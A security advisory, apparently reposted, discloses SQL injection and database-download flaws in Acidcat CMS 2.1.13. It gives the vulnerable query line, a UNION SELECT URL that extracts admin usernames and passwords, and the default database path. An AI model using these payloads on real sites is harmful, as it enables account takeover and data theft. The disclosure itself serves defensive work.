|
|
|
|
| |
| Acidcat CMS is "a web site and simple content management system that can be administered via a web browser". Multiple security vulnerabilities have been discovered in Acidcat ASP allowing remote attackers to bypass the authentication mechanism by exploiting an SQL injection, and to download the product's database by requesting its download. |
| |
Credit:
The information has been provided by Hamid Ebadi (Hamid Network Security Team).
The original article can be found at: http://hamid.ir/security/acidcat.txt
|
| |
Vulnerable Systems:
* Acidcat CMS version 2.1.13
The following URL can be used to trigger an SQL injection vulnerability in the main_content.asp page:
http://localhost/acidcat/default.asp?ID=1'
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'ID = 1'''.
/main_content.asp, line 16
Vulnerable Code:
The following lines in main_content.asp:
Item.Source = "SELECT * FROM Item WHERE ID = "+ Item__MMColParam.replace(/'/g, "''") + "";
Exploit:
The following URL will illustrate how you can easily find administrator username and password by entering the following URL:
http://localhost/acidcat/default.asp?ID=26 union select 1,username,3,password,5,6 from Configuration
The path of the login page is:
http://localhost/acidcat/main_login.asp
Database Download:
The database can be downloaded over the web (default installation). It can be found under: http://localhost/acidcat/databases/acidcat.mdb
|
|
|
|
|
